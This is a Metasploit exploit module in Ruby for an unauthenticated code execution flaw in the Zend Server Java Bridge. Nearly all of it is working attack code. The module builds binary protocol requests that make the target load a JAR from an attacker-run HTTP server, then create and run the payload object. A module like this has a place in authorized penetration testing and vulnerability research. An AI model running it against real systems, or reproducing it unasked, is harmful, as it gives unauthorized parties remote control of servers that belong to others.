1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::HttpServer
10
  include Msf::Exploit::Remote::Tcp
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
17
        'Description' => %q{
18
          This module takes advantage of a trust relationship issue within the
19
          Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
20
          between PHP and Java code within Zend Server.
21

22
          When Java code is encountered Zend Server communicates with the Java Bridge. The
23
          Java Bridge then handles the java code and creates the objects within the Java Virtual
24
          Machine. This interaction however, does not require any sort of authentication. This
25
          leaves the JVM wide open to remote attackers. Sending specially crafted data to the
26
          Java Bridge results in the execution of arbitrary java code.
27
        },
28
        'Author' => [ 'bannedit' ],
29
        'License' => MSF_LICENSE,
30
        'References' => [
31
          [ 'OSVDB', '71420'],
32
          [ 'ZDI', '11-113'],
33
          [ 'EDB', '17078' ],
34
        ],
35
        'Platform' => ['java'], # win
36
        'Arch' => ARCH_JAVA,
37
        'Privileged' => true,
38
        'Targets' => [
39
          [ 'Linux', {}],
40
          [ 'Windows', {}],
41
        ],
42
        'DisclosureDate' => '2011-03-28',
43
        'DefaultTarget' => 0,
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51
    register_options([ Opt::RPORT(10001) ])
52
  end
53

54
  def exploit
55
    start_service()
56
    send_java_require
57
  end
58

59
  def send_java_require()
60
    connect
61

62
    jar = rand_text_alpha(rand(8) + 1) + '.jar'
63
    path = get_uri + '/' + jar
64
    uri_len = path.length
65
    java_require = [0xffffffff, 0x16000000].pack('V*') +
66
                   "setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
67
                   [uri_len].pack('C') + path
68

69
    java_require = [java_require.length].pack('N') + java_require
70

71
    print_status("Sending java_require() request... #{path}")
72
    sock.put(java_require)
73
    res = sock.get_once
74

75
    select(nil, nil, nil, 5) # wait for the request to be handled
76
    create_and_exec
77
  end
78

79
  def create_and_exec
80
    print_status("Sending Final Java Bridge Requests")
81

82
    create_obj =
83
      [0x34000000, 0x00000000, 0x0c000000].pack('V*') +
84
      "CreateObject" +
85
      [0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
86
      "metasploit.Payload" +
87
      [0x07000000].pack('N') + [0x00].pack('C')
88

89
    sock.put(create_obj)
90
    res = sock.get_once
91
    obj_id = res[5, 4]
92

93
    callmain =
94
      [0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
95
      [0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +
96
      [0x00].pack('C') + [0x00].pack('C')
97

98
    sock.put(callmain)
99
    sock.get_once
100
    handler()
101
  end
102

103
  def on_request_uri(cli, request)
104
    if request.uri =~ /\.jar$/i
105
      send_response(cli, payload.encoded,
106
                    {
107
                      'Content-Type' => 'application/java-archive',
108
                      'Connection' => 'close',
109
                      'Pragma' => 'no-cache'
110
                    })
111

112
      print_status("Replied to Request for Payload JAR")
113
    end
114
  end
115
end
116

117